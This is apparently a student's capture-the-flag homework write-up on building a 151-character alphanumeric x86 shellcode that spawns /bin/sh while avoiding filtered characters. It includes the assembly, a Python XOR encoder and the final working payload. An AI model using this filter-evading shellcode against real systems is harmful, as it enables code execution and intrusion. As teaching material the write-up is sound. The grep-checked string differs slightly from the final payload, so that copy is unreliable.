Security Programming Homework 2-2

Alphanumeric Shellcode Executor

Once connect to the service, it will prompt the following message:

$ nc secprog.cs.nctu.edu.tw 10022
Welcome to AlphaNumeric Shellcode executor!
You can only use 0-9 A-Z a-z.
"BINSH" and "binsh" are filter out.

Please input your shellcode:

This is a alphanumeric shellcode executor, it sucks in the input string which only contains alphanumerics (except the characters in “BINSHbinsh”). The server code and the code below may look alike:

#include stdio.h
#include stdlib.h
#include string.h

int main(void) {
    char shellcode[];
    char *invalid = "BINSHbinsh";
    int i = 0;

    scanf("%s", shellcode);

    for(i = 0; i < strlen(shellcode); i++) {
        if(strchr(shellcode, invalid[i]) != NULL) {
            puts("Invalid input! byebye...\n");
            exit(0);
        }
    }

    (*(void (*)()) shellcode)();

    return 0;
}

After checking the string, the program counter will jump to the starting point of the shellcode, and executes it. The shellcode is in stack, so Data Execution Prevention (DEP) must not be enabled.

Encode The Shellcode

I found a helpful Japanese article, which goes through all the processes of generating an alphanumeric shellcode. But there is one more restriction (excluding “BINSHbinsh”) in the Homework.

First, the most important thing is that finding a workable shellcode that opens a shell. Following is a normal shellcode that executes /bin/sh. It pushes the instructions into stack and finally jumps to esp to execute the code it just pushed.

            /* test.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push 0x80cd0b42
        push 0x8de18953
        push 0x52e3896e
        push 0x69622f68
        push 0x68732f2f
        push 0x6852d231
        jmp esp

To prove that it can actually open a shell:

$ gcc -m32 -nostdlib test.s
$ ./a.out
sh-4.3$

But when you look into the content of the binary, you’ll discover that it is not alphanumeric, it contains many non-printable characters. Sadly, most of the printable characters are not allowed in the problem, i.e. “BINSHbinsh”.

$ objdump -s -j .text a.out

a.out:     file format elf32-i386

Contents of section .text:
 8048098 68420bcd 80685389 e18d686e 89e35268  hB...hS...hn..Rh
 80480a8 682f6269 682f2f73 686831d2 5268ffe4  h/bih//shh1.Rh..

The instructions listed below are valid because their opcode are in the range of alphanumerics.

30      XOR r/m8 r8
31      XOR r/m16/32 r16/32
32      XOR r8 r/m8
33      XOR r16/32 r/m16/32
34      XOR AL imm8
35      XOR eAX imm16/32
38      CMP r/m8 r8
39      CMP r/m16/32 r16/32
40+r    INC r16/32    (except for eax, edx)
48+r    DEC r16/32    (except for eax, ecx, esi)
50+r    PUSH r16/32   (except for ebx)
58+r    POP r16/32    (only for eax, ecx, edx)
61      POPAD
6a      PUSH imm8
6b      IMUL r16/32 r/m16/32 imm8
70-7a   JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8

We cannot push 32/16-bit immediate value directly into stack, because the opcode of the instruction is invaild. Also, the immediate value which pushed into the stack is invalid, either. That kind Japanese provided a neat Python script that automatically generates some valid values. The result of XORed of the values is the original value we want to push into the stack. Then we can XOR these value with the register to store the value we want. This Python script only promises that the decomposite vaules are alphanumerics. In order to exclude “BINSHbinsh” in the shellcode, that Python script must be patched to meet the requirement.

#!/usr/bin/env python
# decomposite.py
#
import sys
import struct

word = int(sys.argv[1], 16)

alnum = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
allowed = [ i for i in alnum if chr(i) not in "BINSHbinsh" ]    # patch

chunk = struct.pack('<I', word)
x = ''
y = ''
z = ''

for c in map(ord, chunk):
    if c >= 0x80:
        z += '\xff'
        c ^= 0xff
    else:
        z += '\x00'
    for i in allowed:
        if i^c in allowed:
            x += chr(i)
            y += chr(i^c)
            break

print hex(struct.unpack('<I', x)[0])
print hex(struct.unpack('<I', y)[0])
print hex(struct.unpack('<I', z)[0])

With this handy script, we can get rid of many invalid characters.

[origin]: 0x80cd0b42
0x30433230
0x4f713972
0xffff0000
[origin]: 0x8de18953
0x31443030
0x435a4663
0xffffff00
[origin]: 0x52e3896e
0x31443034
0x6358465a
0xffff00
[origin]: 0x69622f68
0x30304330
0x59526c58
0x0
[origin]: 0x68732f2f
0x30304343
0x58436c6c
0x0
[origin]: 0x6852d231
0x30314141
0x58636c70
0xff00

Strategy

So the strategy of generating an alphanumeric shellcode is:

  1. Clear all registers
  2. Make some register to be 0xffffffff for convenience
  3. XOR register with immediate values to shape the wanted value
  4. PUSH the register into the stack
  5. Do some minor change through XORing byte by byte
  6. PUSH esp into the stack
  7. Jump to the top of the stack by calling RET

You might wonder: why RET can be used? Actually it can’t. So we place a dummy value there, and patch it when executing the shellcode. The total length of the shellcode should be carefully calculated in order to patch the right byte where the dummy value resides. Otherwise, our happy friend (core dump) will show up.

Patch Patch Patch

The almighty Japanese had already provided a prototype for us! Thanks bro! But still there are some parts must be patched to pass the check. All I have done is that:

  • Replace the invalid immediate vaule
  • Replace esi with edi in patch_ret
  • Replace ebx and edx with esi when pushing zero into the stack
  • Eliminate 5 lines of dec ecx, and increase the length of the shellcode
  • Re-calculate the position of the dummy value.

And the result is:

        /* alnum.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* set buffer register to ecx */
        push eax
        pop ecx

prepare_registers:
        push 0x30
        pop eax
        xor al, 0x30
                  /* omit eax, ecx */
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push eax  /* esi = 0 */
        push ecx  /* edi = buffer */
        popad
        dec edx   /* edx = 0xffffffff */

patch_ret:
        /* garbage */
        push eax
        xor eax, 0x30303030

        /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
        push edx
        pop eax
        xor al, 0x44
        push 0x30
        pop ecx
        xor [edi+2*ecx+0x30], al

build_stack:
        /* push 0x80cd0b42 */
        push esi
        pop eax
        xor eax, 0x30433230
        xor eax, 0x4f713972
        push eax
        push esp
        pop ecx
        inc ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x8de18953 */
        push esi
        pop eax
        xor eax, 0x31443030
        xor eax, 0x435a4663
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x52e3896e */
        push esi
        pop eax
        xor eax, 0x31443034
        xor eax, 0x6358465a
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x69622f68 */
        push esi
        pop eax
        xor eax, 0x30304330
        xor eax, 0x59526c58
        push eax

        /* push 0x68732f2f */
        push esi
        pop eax
        xor eax, 0x30304343
        xor eax, 0x58436c6c
        push eax

        /* push 0x6852d231 */
        push esi
        pop eax
        xor eax, 0x30314141
        xor eax, 0x58636c70
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh

        push esp

ret:
        .byte 0x78

It is time to assemble the assembly code into the real executable! After that we can check whether the .text section consists of all printable character or not.

$ gcc -m32 -nostdlib alnum.s -o alnum
$ objdump -s -j .text alnum

alnum:     file format elf32-i386

Contents of section .text:
8048098 50596a30 58343050 50505050 51614a50  PYj0X40PPPPPQaJP
80480a8 58505850 58353030 30303530 30303035  XPXPX50000500005
80480b8 30303030 35303030 30525834 446a3059  000050000RX4Dj0Y
80480c8 30444f44 56583530 32433035 7239714f  0DODVX502C05r9qO
80480d8 50545941 41303141 30315658 35303044  PTYAA01A01VX500D
80480e8 31356346 5a435054 59413031 41303141  15cFZCPTYA01A01A
80480f8 30315658 35343044 31355a46 58635054  01VX540D15ZFXcPT
8048108 59413031 41303156 58353043 30303558  YA01A01VX50C005X
8048118 6c525950 56583543 43303035 6c6c4358  lRYPVX5CC005llCX
8048128 50565835 41413130 35706c63 58505459  PVX5AA105plcXPTY
8048138 41303154 78                          A01Tx

Using the following command to check whether the alpanumeric shellcode contains “BINSHbinsh” or not.

$ echo \
'PYj0X40PPPPPQaJP50000RX4Dj0Y0DO0VX502C05r9qOPTYAA01A01VX500D15cFZCPTYA01A01A01VX540D15ZFXcPTYA01A01VX50C005XlRYPVX5CC005llCXPVX5AA105plcXPTYA01Tx' | grep [BINSHbinsh]

Nothing showed up! That means there is no character of “BINSHbinsh”. And the alphanumeric shellcode is only 151 characters long. So let’s put the shellcode into our simple shellcode executor:

/* shellcode.c */

int main(void)
{
    char shellcode[] = "PYj0X40PPPPPQaJPXPXPX50000500005000050000RX4Dj0Y0DODVX502C05r9qOPTYAA01A01VX500D15cFZCPTYA01A01A01VX540D15ZFXcPTYA01A01VX50C005XlRYPVX5CC005llCXPVX5AA105plcXPTYA01Tx";

    (*(void (*)())shellcode)();
}

Do not forget we are on 32-bit machine and the shellcode is stored in the stack. To be able to execute the shellcode on the stack, one must disable DEP during the compilation time.

$ gcc -m32 -z execstack -o shellcode shellcode.c
$ ./shellcode
sh-4.3$

Bingo! Now submit the alphanumeric shellcode to the server, and cat the flag!

Flag

SECPROG{IncredibleASMProgrammer}

References